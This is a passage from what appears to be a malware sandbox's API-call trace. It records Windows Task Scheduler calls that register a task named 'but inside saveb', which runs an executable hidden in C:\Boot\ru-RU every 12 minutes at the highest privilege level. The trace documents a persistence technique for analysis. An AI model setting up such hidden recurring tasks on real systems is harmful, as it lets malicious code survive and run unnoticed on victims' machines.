_Buffer="|f|") returned 3 [0132.973] lstrlenW (lpString="|f|") returned 3 [0132.973] lstrlenW (lpString="|f|") returned 3 [0132.973] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0132.973] SetLastError (dwErrCode=0x0) [0132.973] SetLastError (dwErrCode=0x0) [0132.973] GetProcessHeap () returned 0x190000 [0132.973] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acda0 [0132.973] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.973] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0132.973] lstrlenW (lpString="LIMITED") returned 7 [0132.973] GetProcessHeap () returned 0x190000 [0132.973] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x10) returned 0x1ad5a0 [0132.973] GetThreadLocale () returned 0x409 [0132.973] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0132.973] GetProcessHeap () returned 0x190000 [0132.973] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acd70 [0132.973] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.974] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0132.974] lstrlenW (lpString="HIGHEST") returned 7 [0132.974] GetProcessHeap () returned 0x190000 [0132.974] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x10) returned 0x1ad5c0 [0132.974] GetThreadLocale () returned 0x409 [0132.974] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0132.974] GetProcessHeap () returned 0x190000 [0132.974] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acd40 [0132.974] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.974] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0132.974] lstrlenW (lpString="MINUTE") returned 6 [0132.974] GetProcessHeap () returned 0x190000 [0132.974] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xe) returned 0x1ad5e0 [0132.974] GetThreadLocale () returned 0x409 [0132.974] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0132.974] SetLastError (dwErrCode=0x0) [0132.974] GetProcessHeap () returned 0x190000 [0132.974] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x1fc) returned 0x1ac270 [0132.974] GetProcessHeap () returned 0x190000 [0132.974] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acd10 [0132.974] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.974] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0132.974] lstrlenW (lpString="First") returned 5 [0132.974] GetProcessHeap () returned 0x190000 [0132.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xc) returned 0x1ad600 [0132.975] GetProcessHeap () returned 0x190000 [0132.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acce0 [0132.975] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.975] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0132.975] lstrlenW (lpString="Second") returned 6 [0132.975] GetProcessHeap () returned 0x190000 [0132.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xe) returned 0x1ad620 [0132.975] GetProcessHeap () returned 0x190000 [0132.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1accb0 [0132.975] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.975] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0132.975] lstrlenW (lpString="Third") returned 5 [0132.975] GetProcessHeap () returned 0x190000 [0132.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xc) returned 0x1ad640 [0132.975] GetProcessHeap () returned 0x190000 [0132.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acc80 [0132.975] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.975] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0132.975] lstrlenW (lpString="Fourth") returned 6 [0132.975] GetProcessHeap () returned 0x190000 [0132.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xe) returned 0x1ad660 [0132.975] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.975] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0132.975] lstrlenW (lpString="Last") returned 4 [0132.975] GetProcessHeap () returned 0x190000 [0132.975] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xa) returned 0x1ad680 [0132.975] lstrlenW (lpString="12") returned 2 [0132.976] _wtol (_String="12") returned 12 [0132.976] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.976] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0132.976] lstrlenW (lpString="First") returned 5 [0132.976] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.976] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0132.976] lstrlenW (lpString="Second") returned 6 [0132.976] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.976] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0132.976] lstrlenW (lpString="Third") returned 5 [0132.976] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.976] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0132.976] lstrlenW (lpString="Fourth") returned 6 [0132.976] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.976] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0132.976] lstrlenW (lpString="Last") returned 4 [0132.976] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x17c400, cchData=128 | out: lpLCData="0") returned 2 [0132.976] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.976] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0132.976] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0132.976] GetProcessHeap () returned 0x190000 [0132.977] GetProcessHeap () returned 0x190000 [0132.977] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad600) returned 1 [0132.977] GetProcessHeap () returned 0x190000 [0132.977] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad600) returned 0xc [0132.977] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad600 | out: hHeap=0x190000) returned 1 [0132.977] GetProcessHeap () returned 0x190000 [0132.977] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x16) returned 0x1ad600 [0132.977] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x17c420, cchData=128 | out: lpLCData="0") returned 2 [0132.977] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.977] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0132.977] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0132.977] GetProcessHeap () returned 0x190000 [0132.977] GetProcessHeap () returned 0x190000 [0132.977] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad620) returned 1 [0132.977] GetProcessHeap () returned 0x190000 [0132.977] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad620) returned 0xe [0132.977] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad620 | out: hHeap=0x190000) returned 1 [0132.977] GetProcessHeap () returned 0x190000 [0132.977] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x16) returned 0x1ad620 [0132.977] GetLocalTime (in: lpSystemTime=0x17c650 | out: lpSystemTime=0x17c650*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x38, wMilliseconds=0x36e)) [0132.977] lstrlenW (lpString="") returned 0 [0132.977] GetLocalTime (in: lpSystemTime=0x17cf08 | out: lpSystemTime=0x17cf08*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x38, wMilliseconds=0x36e)) [0132.978] lstrlenW (lpString="") returned 0 [0132.978] lstrlenW (lpString="") returned 0 [0132.978] lstrlenW (lpString="") returned 0 [0132.978] lstrlenW (lpString="") returned 0 [0132.978] lstrlenW (lpString="12") returned 2 [0132.978] _wtol (_String="12") returned 12 [0132.978] lstrlenW (lpString="") returned 0 [0132.978] lstrlenW (lpString="") returned 0 [0132.978] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0133.000] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0133.083] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x17ccd0 | out: ppv=0x17ccd0*=0x3c7a50) returned 0x0 [0133.095] TaskScheduler:ITaskService:Connect (This=0x3c7a50, serverName=0x17cdb0*(varType=0x8, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x17cd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x17cd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x17cd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0133.145] TaskScheduler:IUnknown:AddRef (This=0x3c7a50) returned 0x2 [0133.145] TaskScheduler:ITaskService:GetFolder (in: This=0x3c7a50, Path=0x0, ppFolder=0x17ce68 | out: ppFolder=0x17ce68*=0x3c7c80) returned 0x0 [0133.149] TaskScheduler:ITaskService:NewTask (in: This=0x3c7a50, flags=0x0, ppDefinition=0x17ce60 | out: ppDefinition=0x17ce60*=0x3c7cd0) returned 0x0 [0133.149] ITaskDefinition:get_Actions (in: This=0x3c7cd0, ppActions=0x17cde0 | out: ppActions=0x17cde0*=0x3c7d90) returned 0x0 [0133.149] IActionCollection:Create (in: This=0x3c7d90, Type=0, ppAction=0x17ce00 | out: ppAction=0x17ce00*=0x3c6110) returned 0x0 [0133.149] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0133.149] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0133.149] lstrlenW (lpString=" ") returned 1 [0133.150] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0133.150] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0133.150] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0133.150] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0133.151] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0133.151] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0133.151] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0133.151] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0133.151] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0133.151] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0133.151] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0133.151] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0133.151] IUnknown:Release (This=0x3c6110) returned 0x1 [0133.151] IUnknown:Release (This=0x3c7d90) returned 0x1 [0133.151] ITaskDefinition:get_Triggers (in: This=0x3c7cd0, ppTriggers=0x17c960 | out: ppTriggers=0x17c960*=0x3c7ed0) returned 0x0 [0133.151] ITriggerCollection:Create (in: This=0x3c7ed0, Type=1, ppTrigger=0x17c958 | out: ppTrigger=0x17c958*=0x3c6180) returned 0x0 [0133.151] lstrlenW (lpString="12") returned 2 [0133.152] _vsnwprintf (in: _Buffer=0x17c8e0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x17c8d8 | out: _Buffer="PT12M") returned 5 [0133.152] ITrigger:get_Repetition (in: This=0x3c6180, ppRepeat=0x17c950 | out: ppRepeat=0x17c950*=0x3c6210) returned 0x0 [0133.152] IRepetitionPattern:put_Interval (This=0x3c6210, Interval="PT12M") returned 0x0 [0133.152] IUnknown:Release (This=0x3c6210) returned 0x1 [0133.152] _vsnwprintf (in: _Buffer=0x17c8a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x17c878 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0133.152] ITrigger:put_StartBoundary (This=0x3c6180, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0133.152] lstrlenW (lpString="") returned 0 [0133.152] lstrlenW (lpString="") returned 0 [0133.152] lstrlenW (lpString="") returned 0 [0133.152] lstrlenW (lpString="") returned 0 [0133.152] IUnknown:Release (This=0x3c6180) returned 0x1 [0133.152] IUnknown:Release (This=0x3c7ed0) returned 0x1 [0133.152] ITaskDefinition:get_Settings (in: This=0x3c7cd0, ppSettings=0x17ce00 | out: ppSettings=0x17ce00*=0x3c5f50) returned 0x0 [0133.153] lstrlenW (lpString="") returned 0 [0133.153] IUnknown:Release (This=0x3c5f50) returned 0x1 [0133.153] GetLocalTime (in: lpSystemTime=0x17ccb8 | out: lpSystemTime=0x17ccb8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x39, wMilliseconds=0x32)) [0133.153] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0133.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0133.153] GetUserNameW (in: lpBuffer=0x17cce0, pcbBuffer=0x17ccc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x17ccc8) returned 1 [0133.154] ITaskDefinition:get_RegistrationInfo (in: This=0x3c7cd0, ppRegistrationInfo=0x17ccb0 | out: ppRegistrationInfo=0x17ccb0*=0x3c7e10) returned 0x0 [0133.154] IRegistrationInfo:put_Author (This=0x3c7e10, Author="") returned 0x0 [0133.155] _vsnwprintf (in: _Buffer=0x17cce0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x17cc78 | out: _Buffer="2022-08-06T02:18:57") returned 19 [0133.155] IRegistrationInfo:put_Date (This=0x3c7e10, Date="") returned 0x0 [0133.155] IUnknown:Release (This=0x3c7e10) returned 0x1 [0133.155] malloc (_Size=0x18) returned 0x3c7c30 [0133.155] free (_Block=0x3c7c30) [0133.155] lstrlenW (lpString="") returned 0 [0133.155] ITaskDefinition:get_Principal (in: This=0x3c7cd0, ppPrincipal=0x17ced0 | out: ppPrincipal=0x17ced0*=0x3c6060) returned 0x0 [0133.155] IPrincipal:put_RunLevel (This=0x3c6060, RunLevel=1) returned 0x0 [0133.155] IUnknown:Release (This=0x3c6060) returned 0x1 [0133.155] malloc (_Size=0x18) returned 0x3c7c30 [0133.156] ITaskFolder:RegisterTaskDefinition (in: This=0x3c7c80, Path="but inside saveb", pDefinition=0x3c7cd0, flags=6, UserId=0x17cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x17cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17ee60, varVal2=0xfe), LogonType=3, sddl=0x17cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x17ce70 | out: ppTask=0x17ce70*=0x3c6400) returned 0x0 [0133.348] free (_Block=0x3c7c30) [0133.348] _memicmp (_Buf1=0x1abab0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.348] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1ad2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0133.348] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0133.348] GetProcessHeap () returned 0x190000 [0133.348] GetProcessHeap () returned 0x190000 [0133.348] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad640) returned 1 [0133.348] GetProcessHeap () returned 0x190000 [0133.348] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad640) returned 0xc [0133.348] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad640 | out: hHeap=0x190000) returned 1 [0133.348] GetProcessHeap () returned 0x190000 [0133.348] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x82) returned 0x1c9ae0 [0133.348] _vsnwprintf (in: _Buffer=0x17d5b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x17ce18 | out: _Buffer="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n") returned 78 [0133.348] _fileno (_File=0x7fefed02ab0) returned -2 [0133.348] _errno () returned 0x3c4bb0 [0133.348] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0133.348] SetLastError (dwErrCode=0x6) [0133.349] lstrlenW (lpString="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n") returned 78 [0133.349] GetConsoleOutputCP () returned 0x0 [0133.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0133.349] GetConsoleOutputCP () returned 0x0 [0133.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 78 [0133.349] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 78 [0133.349] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0133.349] IUnknown:Release (This=0x3c6400) returned 0x0 [0133.349] TaskScheduler:IUnknown:Release (This=0x3c7cd0) returned 0x0 [0133.349] TaskScheduler:IUnknown:Release (This=0x3c7c80) returned 0x0 [0133.349] TaskScheduler:IUnknown:Release (This=0x3c7a50) returned 0x1 [0133.349] lstrlenW (lpString="") returned 0 [0133.349] lstrlenW (lpString="12") returned 2 [0133.349] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0133.349] GetProcessHeap () returned 0x190000 [0133.349] GetProcessHeap () returned 0x190000 [0133.349] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac270) returned 1 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac270) returned 0x1fc [0133.350] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac270 | out: hHeap=0x190000) returned 1 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab9b0) returned 1 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ab9b0) returned 0x6 [0133.350] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ab9b0 | out: hHeap=0x190000) returned 1 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad4e0) returned 1 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad4e0) returned 0x16 [0133.350] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad4e0 | out: hHeap=0x190000) returned 1 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad560) returned 1 [0133.350] GetProcessHeap () returned 0x190000 [0133.350] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad560) returned 0x18 [0133.351] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad560 | out: hHeap=0x190000) returned 1 [0133.351] GetProcessHeap () returned 0x190000 [0133.351] GetProcessHeap () returned 0x190000 [0133.351] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ace00) returned 1 [0133.351] GetProcessHeap () returned 0x190000 [0133.351] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ace00) returned 0x20 [0133.351] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ace00 | out: hHeap=0x190000) returned 1 [0133.351] GetProcessHeap () returned 0x190000 [0133.351] GetProcessHeap () returned 0x190000 [0133.351] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac010) returned 1 [0133.351] GetProcessHeap () returned 0x190000 [0133.351] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac010) returned 0xa0 [0133.352] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac010 | out: hHeap=0x190000) returned 1 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba90) returned 1 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1aba90) returned 0x18 [0133.352] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1aba90 | out: hHeap=0x190000) returned 1 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acb30) returned 1 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acb30) returned 0x20 [0133.352] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acb30 | out: hHeap=0x190000) returned 1 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1a9330) returned 1 [0133.352] GetProcessHeap () returned 0x190000 [0133.352] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1a9330) returned 0x48 [0133.353] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a9330 | out: hHeap=0x190000) returned 1 [0133.353] GetProcessHeap () returned 0x190000 [0133.353] GetProcessHeap () returned 0x190000 [0133.353] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad580) returned 1 [0133.353] GetProcessHeap () returned 0x190000 [0133.353] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad580) returned 0x18 [0133.353] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad580 | out: hHeap=0x190000) returned 1 [0133.353] GetProcessHeap () returned 0x190000 [0133.353] GetProcessHeap () returned 0x190000 [0133.353] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acb00) returned 1 [0133.353] GetProcessHeap () returned 0x190000 [0133.353] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acb00) returned 0x20 [0133.353] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acb00 | out: hHeap=0x190000) returned 1 [0133.353] GetProcessHeap () returned 0x190000 [0133.353] GetProcessHeap () returned 0x190000 [0133.353] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1add10) returned 1 [0133.353] GetProcessHeap () returned 0x190000 [0133.354] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1add10) returned 0x4a [0133.354] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1add10 | out: hHeap=0x190000) returned 1 [0133.354] GetProcessHeap () returned 0x190000 [0133.354] GetProcessHeap () returned 0x190000 [0133.354] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ad540) returned 1 [0133.354] GetProcessHeap () returned 0x190000 [0133.354] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ad540) returned 0x18 [0133.354] HeapFree (in: 